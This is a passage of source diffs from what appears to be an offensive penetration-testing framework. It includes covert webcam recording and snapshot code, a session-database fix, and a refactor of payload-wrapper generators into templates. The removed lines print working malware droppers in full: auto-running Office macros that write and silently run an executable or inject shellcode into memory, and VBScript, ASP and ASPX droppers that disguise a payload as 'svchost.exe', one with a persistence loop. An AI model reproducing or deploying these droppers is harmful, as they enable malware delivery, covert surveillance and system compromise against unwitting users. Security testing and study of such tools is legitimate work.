||||
curr_chunk += 1
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# stop recording and stop session
|
||||
objc_call(output, 'recordToOutputFileURL:', nil)
|
||||
objc_call(session, 'stopRunning')
|
||||
|
||||
# give QTKit some time to write to file
|
||||
objc_call(run_loop, 'runUntilDate:', objc_call(time, 'dateByAddingTimeInterval:', RUN_LOOP_STEP))
|
||||
|
||||
if options[:action] == 'snapshot' # user wants a snapshot
|
||||
# read captured movie file into QTKit
|
||||
dict = objc_call_class('NSMutableDictionary', 'dictionary')
|
||||
objc_call(dict, 'setObject:forKey:', nsstring('NSImage'), nsstring('QTMovieFrameImageType'))
|
||||
# grab a frame image from the move
|
||||
m = objc_call_class('QTMovie', 'movieWithFile:error:', nsstring(options[:record_file]), nil)
|
||||
img = objc_call(m, 'currentFrameImage')
|
||||
# set compression options
|
||||
opts = objc_call_class('NSDictionary', 'dictionaryWithObject:forKey:',
|
||||
objc_call_class('NSNumber', 'numberWithFloat:', options[:snap_jpg_compression]),
|
||||
nsstring('NSImageCompressionFactor')
|
||||
)
|
||||
# convert to desired format
|
||||
bitmap = objc_call(objc_call(img, 'representations'), 'objectAtIndex:', 0)
|
||||
data = objc_call(bitmap, 'representationUsingType:properties:', snap_filetype_index, opts)
|
||||
objc_call(data, 'writeToFile:atomically:', nsstring(options[:snap_file]), 0)
|
||||
|
||||
objc_call(run_loop, 'runUntilDate:', objc_call(time, 'dateByAddingTimeInterval:', RUN_LOOP_STEP))
|
||||
|
||||
# # delete the original movie file
|
||||
File.delete(options[:record_file])
|
||||
end
|
||||
|
||||
objc_call(autorelease_pool, 'drain')
|
||||
|
||||
EOS
|
||||
if opts[:action] == 'record'
|
||||
capture_code = %Q|
|
||||
cpid = fork do
|
||||
#{capture_code}
|
||||
end
|
||||
Process.detach(cpid)
|
||||
puts cpid
|
||||
|
|
||||
end
|
||||
capture_code
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
|
@ -107,13 +107,17 @@ class SessionManager < Hash
|
|||
# processing time for large session lists from skewing our update interval.
|
||||
|
||||
last_seen_timer = Time.now.utc
|
||||
values.each do |s|
|
||||
# Update the database entry on a regular basis, marking alive threads
|
||||
# as recently seen. This notifies other framework instances that this
|
||||
# session is being maintained.
|
||||
if framework.db.active and s.db_record
|
||||
s.db_record.last_seen = Time.now.utc
|
||||
s.db_record.save
|
||||
if framework.db.active
|
||||
::ActiveRecord::Base.connection_pool.with_connection do
|
||||
values.each do |s|
|
||||
# Update the database entry on a regular basis, marking alive threads
|
||||
# as recently seen. This notifies other framework instances that this
|
||||
# session is being maintained.
|
||||
if s.db_record
|
||||
s.db_record.last_seen = Time.now.utc
|
||||
s.db_record.save
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -55,6 +55,16 @@ require 'digest/sha1'
|
|||
end
|
||||
end
|
||||
|
||||
def self.read_replace_script_template(filename, hash_sub)
|
||||
template_pathname = File.join(Msf::Config.install_root, "data", "templates", "scripts", filename)
|
||||
|
||||
template = ''
|
||||
File.open(template_pathname, "rb") do |f|
|
||||
template = f.read
|
||||
end
|
||||
|
||||
return template % hash_sub
|
||||
end
|
||||
|
||||
##
|
||||
#
|
||||
|
@ -867,471 +877,177 @@ require 'digest/sha1'
|
|||
|
||||
def self.to_exe_vba(exes='')
|
||||
exe = exes.unpack('C*')
|
||||
vba = ""
|
||||
hash_sub = {}
|
||||
idx = 0
|
||||
maxbytes = 2000
|
||||
|
||||
var_magic = Rex::Text.rand_text_alpha(10).capitalize
|
||||
var_base = Rex::Text.rand_text_alpha(5).capitalize
|
||||
var_base_idx = 0
|
||||
var_base = Rex::Text.rand_text_alpha(5).capitalize
|
||||
|
||||
# First write the macro into the vba file
|
||||
var_fname = var_base + (var_base_idx+=1).to_s
|
||||
var_fenvi = var_base + (var_base_idx+=1).to_s
|
||||
var_fhand = var_base + (var_base_idx+=1).to_s
|
||||
var_parag = var_base + (var_base_idx+=1).to_s
|
||||
var_itemp = var_base + (var_base_idx+=1).to_s
|
||||
var_btemp = var_base + (var_base_idx+=1).to_s
|
||||
var_appnr = var_base + (var_base_idx+=1).to_s
|
||||
var_index = var_base + (var_base_idx+=1).to_s
|
||||
var_gotmagic = var_base + (var_base_idx+=1).to_s
|
||||
var_farg = var_base + (var_base_idx+=1).to_s
|
||||
var_stemp = var_base + (var_base_idx+=1).to_s
|
||||
hash_sub[:var_magic] = Rex::Text.rand_text_alpha(10).capitalize
|
||||
hash_sub[:var_fname] = var_base + (var_base_idx+=1).to_s
|
||||
hash_sub[:var_fenvi] = var_base + (var_base_idx+=1).to_s
|
||||
hash_sub[:var_fhand] = var_base + (var_base_idx+=1).to_s
|
||||
hash_sub[:var_parag] = var_base + (var_base_idx+=1).to_s
|
||||
hash_sub[:var_itemp] = var_base + (var_base_idx+=1).to_s
|
||||
hash_sub[:var_btemp] = var_base + (var_base_idx+=1).to_s
|
||||
hash_sub[:var_appnr] = var_base + (var_base_idx+=1).to_s
|
||||
hash_sub[:var_index] = var_base + (var_base_idx+=1).to_s
|
||||
hash_sub[:var_gotmagic] = var_base + (var_base_idx+=1).to_s
|
||||
hash_sub[:var_farg] = var_base + (var_base_idx+=1).to_s
|
||||
hash_sub[:var_stemp] = var_base + (var_base_idx+=1).to_s
|
||||
hash_sub[:filename] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
|
||||
# Function 1 extracts the binary
|
||||
func_name1 = var_base + (var_base_idx+=1).to_s
|
||||
hash_sub[:func_name1] = var_base + (var_base_idx+=1).to_s
|
||||
|
||||
# Function 2 executes the binary
|
||||
func_name2 = var_base + (var_base_idx+=1).to_s
|
||||
hash_sub[:func_name2] = var_base + (var_base_idx+=1).to_s
|
||||
|
||||
vba << "'**************************************************************\r\n"
|
||||
vba << "'*\r\n"
|
||||
vba << "'* This code is now split into two pieces:\r\n"
|
||||
vba << "'* 1. The Macro. This must be copied into the Office document\r\n"
|
||||
vba << "'* macro editor. This macro will run on startup.\r\n"
|
||||
vba << "'*\r\n"
|
||||
vba << "'* 2. The Data. The hex dump at the end of this output must be\r\n"
|
||||
vba << "'* appended to the end of the document contents.\r\n"
|
||||
vba << "'*\r\n"
|
||||
vba << "'**************************************************************\r\n"
|
||||
vba << "'*\r\n"
|
||||
vba << "'* MACRO CODE\r\n"
|
||||
vba << "'*\r\n"
|
||||
vba << "'**************************************************************\r\n"
|
||||
|
||||
# The wrapper makes it easier to integrate it into other macros
|
||||
vba << "Sub Auto_Open()\r\n"
|
||||
vba << "\t#{func_name1}\r\n"
|
||||
vba << "End Sub\r\n"
|
||||
|
||||
vba << "Sub #{func_name1}()\r\n"
|
||||
vba << "\tDim #{var_appnr} As Integer\r\n"
|
||||
vba << "\tDim #{var_fname} As String\r\n"
|
||||
vba << "\tDim #{var_fenvi} As String\r\n"
|
||||
vba << "\tDim #{var_fhand} As Integer\r\n"
|
||||
vba << "\tDim #{var_parag} As Paragraph\r\n"
|
||||
vba << "\tDim #{var_index} As Integer\r\n"
|
||||
vba << "\tDim #{var_gotmagic} As Boolean\r\n"
|
||||
vba << "\tDim #{var_itemp} As Integer\r\n"
|
||||
vba << "\tDim #{var_stemp} As String\r\n"
|
||||
vba << "\tDim #{var_btemp} As Byte\r\n"
|
||||
vba << "\tDim #{var_magic} as String\r\n"
|
||||
vba << "\t#{var_magic} = \"#{var_magic}\"\r\n"
|
||||
vba << "\t#{var_fname} = \"#{Rex::Text.rand_text_alpha(rand(8)+8)}.exe\"\r\n"
|
||||
vba << "\t#{var_fenvi} = Environ(\"USERPROFILE\")\r\n"
|
||||
vba << "\tChDrive (#{var_fenvi})\r\n"
|
||||
vba << "\tChDir (#{var_fenvi})\r\n"
|
||||
vba << "\t#{var_fhand} = FreeFile()\r\n"
|
||||
vba << "\tOpen #{var_fname} For Binary As #{var_fhand}\r\n"
|
||||
vba << "\tFor Each #{var_parag} in ActiveDocument.Paragraphs\r\n"
|
||||
vba << "\t\tDoEvents\r\n"
|
||||
vba << "\t\t\t#{var_stemp} = #{var_parag}.Range.Text\r\n"
|
||||
vba << "\t\tIf (#{var_gotmagic} = True) Then\r\n"
|
||||
vba << "\t\t\t#{var_index} = 1\r\n"
|
||||
vba << "\t\t\tWhile (#{var_index} < Len(#{var_stemp}))\r\n"
|
||||
vba << "\t\t\t\t#{var_btemp} = Mid(#{var_stemp},#{var_index},4)\r\n"
|
||||
vba << "\t\t\t\tPut ##{var_fhand}, , #{var_btemp}\r\n"
|
||||
vba << "\t\t\t\t#{var_index} = #{var_index} + 4\r\n"
|
||||
vba << "\t\t\tWend\r\n"
|
||||
vba << "\t\tElseIf (InStr(1,#{var_stemp},#{var_magic}) > 0 And Len(#{var_stemp}) > 0) Then\r\n"
|
||||
vba << "\t\t\t#{var_gotmagic} = True\r\n"
|
||||
vba << "\t\tEnd If\r\n"
|
||||
vba << "\tNext\r\n"
|
||||
vba << "\tClose ##{var_fhand}\r\n"
|
||||
vba << "\t#{func_name2}(#{var_fname})\r\n"
|
||||
vba << "End Sub\r\n"
|
||||
|
||||
vba << "Sub #{func_name2}(#{var_farg} As String)\r\n"
|
||||
vba << "\tDim #{var_appnr} As Integer\r\n"
|
||||
vba << "\tDim #{var_fenvi} As String\r\n"
|
||||
vba << "\t#{var_fenvi} = Environ(\"USERPROFILE\")\r\n"
|
||||
vba << "\tChDrive (#{var_fenvi})\r\n"
|
||||
vba << "\tChDir (#{var_fenvi})\r\n"
|
||||
vba << "\t#{var_appnr} = Shell(#{var_farg}, vbHide)\r\n"
|
||||
vba << "End Sub\r\n"
|
||||
|
||||
vba << "Sub AutoOpen()\r\n"
|
||||
vba << "\tAuto_Open\r\n"
|
||||
vba << "End Sub\r\n"
|
||||
|
||||
vba << "Sub Workbook_Open()\r\n"
|
||||
vba << "\tAuto_Open\r\n"
|
||||
vba << "End Sub\r\n"
|
||||
vba << "'**************************************************************\r\n"
|
||||
vba << "'*\r\n"
|
||||
vba << "'* PAYLOAD DATA\r\n"
|
||||
vba << "'*\r\n"
|
||||
vba << "'**************************************************************\r\n\r\n\r\n"
|
||||
vba << "#{var_magic}\r\n"
|
||||
hash_sub[:data] = ""
|
||||
|
||||
# Writing the bytes of the exe to the file
|
||||
1.upto(exe.length) do |pc|
|
||||
while(c = exe[idx])
|
||||
vba << "&H#{("%.2x" % c).upcase}"
|
||||
hash_sub[:data] << "&H#{("%.2x" % c).upcase}"
|
||||
if (idx > 1 and (idx % maxbytes) == 0)
|
||||
# When maxbytes are written make a new paragrpah
|
||||
vba << "\r\n"
|
||||
hash_sub[:data] << "\r\n"
|
||||
end
|
||||
idx += 1
|
||||
end
|
||||
end
|
||||
return vba
|
||||
|
||||
return read_replace_script_template("to_exe.vba.template", hash_sub)
|
||||
end
|
||||
|
||||
def self.to_vba(framework,code,opts={})
|
||||
var_myByte = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
||||
var_myArray = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
||||
var_rwxpage = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
||||
var_res = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
||||
var_offset = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
||||
var_lpThreadAttributes = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
||||
var_dwStackSize = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
||||
var_lpStartAddress = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
||||
var_lpParameter = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
||||
var_dwCreationFlags = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
||||
var_lpThreadID = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
||||
var_lpAddr = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
||||
var_lSize = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
||||
var_flAllocationType = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
||||
var_flProtect = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
||||
var_lDest = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
||||
var_Source = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
||||
var_Length = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
||||
def self.to_vba(framework,code,opts={})
|
||||
hash_sub = {}
|
||||
hash_sub[:var_myByte] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
||||
hash_sub[:var_myArray] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
||||
hash_sub[:var_rwxpage] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
||||
hash_sub[:var_res] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
||||
hash_sub[:var_offset] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
||||
hash_sub[:var_lpThreadAttributes] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
||||
hash_sub[:var_dwStackSize] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
||||
hash_sub[:var_lpStartAddress] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
||||
hash_sub[:var_lpParameter] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
||||
hash_sub[:var_dwCreationFlags] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
||||
hash_sub[:var_lpThreadID] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
||||
hash_sub[:var_lpAddr] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
||||
hash_sub[:var_lSize] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
||||
hash_sub[:var_flAllocationType] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
||||
hash_sub[:var_flProtect] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
||||
hash_sub[:var_lDest] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
||||
hash_sub[:var_Source] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
||||
hash_sub[:var_Length] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
||||
|
||||
# put the shellcode bytes into an array
|
||||
bytes = ''
|
||||
maxbytes = 20
|
||||
codebytes = code.unpack('C*')
|
||||
1.upto(codebytes.length) do |idx|
|
||||
bytes << codebytes[idx].to_s
|
||||
bytes << "," if idx < codebytes.length - 1
|
||||
bytes << " _\r\n" if (idx > 1 and (idx % maxbytes) == 0)
|
||||
end
|
||||
hash_sub[:bytes] = Rex::Text.to_vbapplication(code, hash_sub[:var_myArray])
|
||||
|
||||
"#If Vba7 Then
|
||||
Private Declare PtrSafe Function CreateThread Lib \"kernel32\" (ByVal #{var_lpThreadAttributes} As Long, ByVal #{var_dwStackSize} As Long, ByVal #{var_lpStartAddress} As LongPtr, #{var_lpParameter} As Long, ByVal #{var_dwCreationFlags} As Long, #{var_lpThreadID} As Long) As LongPtr
|
||||
Private Declare PtrSafe Function VirtualAlloc Lib \"kernel32\" (ByVal #{var_lpAddr} As Long, ByVal #{var_lSize} As Long, ByVal #{var_flAllocationType} As Long, ByVal #{var_flProtect} As Long) As LongPtr
|
||||
Private Declare PtrSafe Function RtlMoveMemory Lib \"kernel32\" (ByVal #{var_lDest} As LongPtr, ByRef #{var_Source} As Any, ByVal #{var_Length} As Long) As LongPtr
|
||||
#Else
|
||||
Private Declare Function CreateThread Lib \"kernel32\" (ByVal #{var_lpThreadAttributes} As Long, ByVal #{var_dwStackSize} As Long, ByVal #{var_lpStartAddress} As Long, #{var_lpParameter} As Long, ByVal #{var_dwCreationFlags} As Long, #{var_lpThreadID} As Long) As Long
|
||||
Private Declare Function VirtualAlloc Lib \"kernel32\" (ByVal #{var_lpAddr} As Long, ByVal #{var_lSize} As Long, ByVal #{var_flAllocationType} As Long, ByVal #{var_flProtect} As Long) As Long
|
||||
Private Declare Function RtlMoveMemory Lib \"kernel32\" (ByVal #{var_lDest} As Long, ByRef #{var_Source} As Any, ByVal #{var_Length} As Long) As Long
|
||||
#EndIf
|
||||
|
||||
Sub Auto_Open()
|
||||
Dim #{var_myByte} As Long, #{var_myArray} As Variant, #{var_offset} As Long
|
||||
#If Vba7 Then
|
||||
Dim #{var_rwxpage} As LongPtr, #{var_res} As LongPtr
|
||||
#Else
|
||||
Dim #{var_rwxpage} As Long, #{var_res} As Long
|
||||
#EndIf
|
||||
#{var_myArray} = Array(#{bytes})
|
||||
#{var_rwxpage} = VirtualAlloc(0, UBound(#{var_myArray}), &H1000, &H40)
|
||||
For #{var_offset} = LBound(#{var_myArray}) To UBound(#{var_myArray})
|
||||
#{var_myByte} = #{var_myArray}(#{var_offset})
|
||||
#{var_res} = RtlMoveMemory(#{var_rwxpage} + #{var_offset}, #{var_myByte}, 1)
|
||||
Next #{var_offset}
|
||||
#{var_res} = CreateThread(0, 0, #{var_rwxpage}, 0, 0, 0)
|
||||
End Sub
|
||||
Sub AutoOpen()
|
||||
Auto_Open
|
||||
End Sub
|
||||
Sub Workbook_Open()
|
||||
Auto_Open
|
||||
End Sub
|
||||
"
|
||||
end
|
||||
|
||||
def self.to_win32pe_vba(framework, code, opts={})
|
||||
to_exe_vba(to_win32pe(framework, code, opts))
|
||||
return read_replace_script_template("to_mem.vba.template", hash_sub)
|
||||
end
|
||||
|
||||
def self.to_exe_vbs(exes = '', opts={})
|
||||
delay = opts[:delay] || 5
|
||||
persist = opts[:persist] || false
|
||||
|
||||
exe = exes.unpack('C*')
|
||||
vbs = ""
|
||||
hash_sub = {}
|
||||
hash_sub[:var_shellcode] = ""
|
||||
hash_sub[:var_bytes] = Rex::Text.rand_text_alpha(rand(4)+4) # repeated a large number of times, so keep this one small
|
||||
hash_sub[:var_fname] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_func] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_stream] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_obj] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_shell] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_tempdir] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
|
||||
var_bytes = Rex::Text.rand_text_alpha(rand(4)+4) # repeated a large number of times, so keep this one small
|
||||
var_fname = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_func = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_stream = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_obj = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_shell = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_tempdir = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_tempexe = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_basedir = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_shellcode] = Rex::Text.to_vbscript(exes, hash_sub[:var_bytes])
|
||||
|
||||
vbs << "Function #{var_func}()\r\n"
|
||||
hash_sub[:init] = ""
|
||||
|
||||
vbs << "#{var_bytes}=Chr(#{exe[0]})"
|
||||
|
||||
lines = []
|
||||
1.upto(exe.length-1) do |byte|
|
||||
if(byte % 100 == 0)
|
||||
lines.push "\r\n#{var_bytes}=#{var_bytes}"
|
||||
end
|
||||
# exe is an Array of bytes, not a String, thanks to the unpack
|
||||
# above, so the following line is not subject to the different
|
||||
# treatments of String#[] between ruby 1.8 and 1.9
|
||||
lines.push "&Chr(#{exe[byte]})"
|
||||
if(persist)
|
||||
hash_sub[:init] << "Do\r\n"
|
||||
hash_sub[:init] << "#{hash_sub[:var_func]}\r\n"
|
||||
hash_sub[:init] << "WScript.Sleep #{delay * 1000}\r\n"
|
||||
hash_sub[:init] << "Loop\r\n"
|
||||
else
|
||||
hash_sub[:init] << "#{hash_sub[:var_func]}\r\n"
|
||||
end
|
||||
vbs << lines.join("") + "\r\n"
|
||||
|
||||
vbs << "Dim #{var_obj}\r\n"
|
||||
vbs << "Set #{var_obj} = CreateObject(\"Scripting.FileSystemObject\")\r\n"
|
||||
vbs << "Dim #{var_stream}\r\n"
|
||||
vbs << "Dim #{var_tempdir}\r\n"
|
||||
vbs << "Dim #{var_tempexe}\r\n"
|
||||
vbs << "Dim #{var_basedir}\r\n"
|
||||
vbs << "Set #{var_tempdir} = #{var_obj}.GetSpecialFolder(2)\r\n"
|
||||
|
||||
vbs << "#{var_basedir} = #{var_tempdir} & \"\\\" & #{var_obj}.GetTempName()\r\n"
|
||||
vbs << "#{var_obj}.CreateFolder(#{var_basedir})\r\n"
|
||||
vbs << "#{var_tempexe} = #{var_basedir} & \"\\\" & \"svchost.exe\"\r\n"
|
||||
vbs << "Set #{var_stream} = #{var_obj}.CreateTextFile(#{var_tempexe}, true , false)\r\n"
|
||||
vbs << "#{var_stream}.Write #{var_bytes}\r\n"
|
||||
vbs << "#{var_stream}.Close\r\n"
|
||||
vbs << "Dim #{var_shell}\r\n"
|
||||
vbs << "Set #{var_shell} = CreateObject(\"Wscript.Shell\")\r\n"
|
||||
|
||||
vbs << "#{var_shell}.run #{var_tempexe}, 0, true\r\n"
|
||||
vbs << "#{var_obj}.DeleteFile(#{var_tempexe})\r\n"
|
||||
vbs << "#{var_obj}.DeleteFolder(#{var_basedir})\r\n"
|
||||
vbs << "End Function\r\n"
|
||||
|
||||
vbs << "Do\r\n" if persist
|
||||
vbs << "#{var_func}\r\n"
|
||||
vbs << "WScript.Sleep #{delay * 1000}\r\n" if persist
|
||||
vbs << "Loop\r\n" if persist
|
||||
vbs
|
||||
return read_replace_script_template("to_exe.vbs.template", hash_sub)
|
||||
end
|
||||
|
||||
def self.to_exe_asp(exes = '', opts={})
|
||||
exe = exes.unpack('C*')
|
||||
vbs = "<%\r\n"
|
||||
hash_sub = {}
|
||||
hash_sub[:var_bytes] = Rex::Text.rand_text_alpha(rand(4)+4) # repeated a large number of times, so keep this one small
|
||||
hash_sub[:var_fname] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_func] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_stream] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_obj] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_shell] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_tempdir] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
|
||||
var_bytes = Rex::Text.rand_text_alpha(rand(4)+4) # repeated a large number of times, so keep this one small
|
||||
var_fname = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_func = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_stream = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_obj = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_shell = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_tempdir = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_tempexe = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_basedir = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_shellcode] = Rex::Text.to_vbscript(exes, hash_sub[:var_bytes])
|
||||
|
||||
vbs << "Sub #{var_func}()\r\n"
|
||||
|
||||
vbs << "#{var_bytes}=Chr(#{exe[0]})"
|
||||
|
||||
lines = []
|
||||
1.upto(exe.length-1) do |byte|
|
||||
if(byte % 100 == 0)
|
||||
lines.push "\r\n#{var_bytes}=#{var_bytes}"
|
||||
end
|
||||
# exe is an Array of bytes, not a String, thanks to the unpack
|
||||
# above, so the following line is not subject to the different
|
||||
# treatments of String#[] between ruby 1.8 and 1.9
|
||||
lines.push "&Chr(#{exe[byte]})"
|
||||
end
|
||||
vbs << lines.join("") + "\r\n"
|
||||
|
||||
vbs << "Dim #{var_obj}\r\n"
|
||||
vbs << "Set #{var_obj} = CreateObject(\"Scripting.FileSystemObject\")\r\n"
|
||||
vbs << "Dim #{var_stream}\r\n"
|
||||
vbs << "Dim #{var_tempdir}\r\n"
|
||||
vbs << "Dim #{var_tempexe}\r\n"
|
||||
vbs << "Dim #{var_basedir}\r\n"
|
||||
vbs << "Set #{var_tempdir} = #{var_obj}.GetSpecialFolder(2)\r\n"
|
||||
|
||||
vbs << "#{var_basedir} = #{var_tempdir} & \"\\\" & #{var_obj}.GetTempName()\r\n"
|
||||
vbs << "#{var_obj}.CreateFolder(#{var_basedir})\r\n"
|
||||
vbs << "#{var_tempexe} = #{var_basedir} & \"\\\" & \"svchost.exe\"\r\n"
|
||||
vbs << "Set #{var_stream} = #{var_obj}.CreateTextFile(#{var_tempexe},2,0)\r\n"
|
||||
vbs << "#{var_stream}.Write #{var_bytes}\r\n"
|
||||
vbs << "#{var_stream}.Close\r\n"
|
||||
vbs << "Dim #{var_shell}\r\n"
|
||||
vbs << "Set #{var_shell} = CreateObject(\"Wscript.Shell\")\r\n"
|
||||
|
||||
vbs << "#{var_shell}.run #{var_tempexe}, 0, false\r\n"
|
||||
vbs << "End Sub\r\n"
|
||||
|
||||
vbs << "#{var_func}\r\n"
|
||||
vbs << "%>\r\n"
|
||||
vbs
|
||||
return read_replace_script_template("to_exe.asp.template", hash_sub)
|
||||
end
|
||||
|
||||
def self.to_exe_aspx(exes = '', opts={})
|
||||
exe = exes.unpack('C*')
|
||||
hash_sub = {}
|
||||
hash_sub[:var_file] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_tempdir] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_filename] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_iterator] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_proc] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
|
||||
var_file = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_tempdir = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_basedir = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_filename = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_tempexe = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_iterator = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_proc = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:shellcode] = Rex::Text.to_csharp(exes,100,hash_sub[:var_file])
|
||||
|
||||
source = "<%@ Page Language=\"C#\" AutoEventWireup=\"true\" %>\r\n"
|
||||
source << "<%@ Import Namespace=\"System.IO\" %>\r\n"
|
||||
source << "<script runat=\"server\">\r\n"
|
||||
source << "\tprotected void Page_Load(object sender, EventArgs e)\r\n"
|
||||
source << "\t{\r\n"
|
||||
source << "\t\tStringBuilder #{var_file} = new StringBuilder();\r\n"
|
||||
source << "\t\t#{var_file}.Append(\"\\x#{exe[0].to_s(16)}"
|
||||
|
||||
1.upto(exe.length-1) do |byte|
|
||||
# Apparently .net 1.0 has a limit of 2046 chars per line
|
||||
if(byte % 100 == 0)
|
||||
source << "\");\r\n\t\t#{var_file}.Append(\""
|
||||
end
|
||||
source << "\\x#{exe[byte].to_s(16)}"
|
||||
end
|
||||
|
||||
source << "\");\r\n"
|
||||
source << "\t\tstring #{var_tempdir} = Path.GetTempPath();\r\n"
|
||||
source << "\t\tstring #{var_basedir} = Path.Combine(#{var_tempdir}, \"#{var_filename}\");\r\n"
|
||||
source << "\t\tstring #{var_tempexe} = Path.Combine(#{var_basedir}, \"svchost.exe\");\r\n"
|
||||
source << "\r\n"
|
||||
source << "\t\tDirectory.CreateDirectory(#{var_basedir});\r\n"
|
||||
source << "\r\n"
|
||||
source << "\t\tFileStream fs = File.Create(#{var_tempexe});\r\n"
|
||||
source << "\t\ttry\r\n"
|
||||
source << "\t\t{\r\n"
|
||||
source << "\t\t\tforeach (char #{var_iterator} in #{var_file}.ToString())\r\n"
|
||||
source << "\t\t\t{\r\n"
|
||||
source << "\t\t\t\tfs.WriteByte(Convert.ToByte(#{var_iterator}));\r\n"
|
||||
source << "\t\t\t}\r\n"
|
||||
source << "\t\t}\r\n"
|
||||
source << "\t\tfinally\r\n"
|
||||
source << "\t\t{\r\n"
|
||||
source << "\t\t\tif (fs != null) ((IDisposable)fs).Dispose();\r\n"
|
||||
source << "\t\t}\r\n"
|
||||
source << "\r\n"
|
||||
source << "\t\tSystem.Diagnostics.Process #{var_proc} = new System.Diagnostics.Process();\r\n"
|
||||
source << "\t\t#{var_proc}.StartInfo.CreateNoWindow = true;\r\n"
|
||||
source << "\t\t#{var_proc}.StartInfo.UseShellExecute = true;\r\n"
|
||||
source << "\t\t#{var_proc}.StartInfo.FileName = #{var_tempexe};\r\n"
|
||||
source << "\t\t#{var_proc}.Start();\r\n"
|
||||
source << "\r\n"
|
||||
source << "\t}\r\n"
|
||||
source << "</script>\r\n"
|
||||
source
|
||||
return read_replace_script_template("to_exe.aspx.template", hash_sub)
|
||||
end
|
||||
|
||||
def self.to_win32pe_psh_net(framework, code, opts={})
|
||||
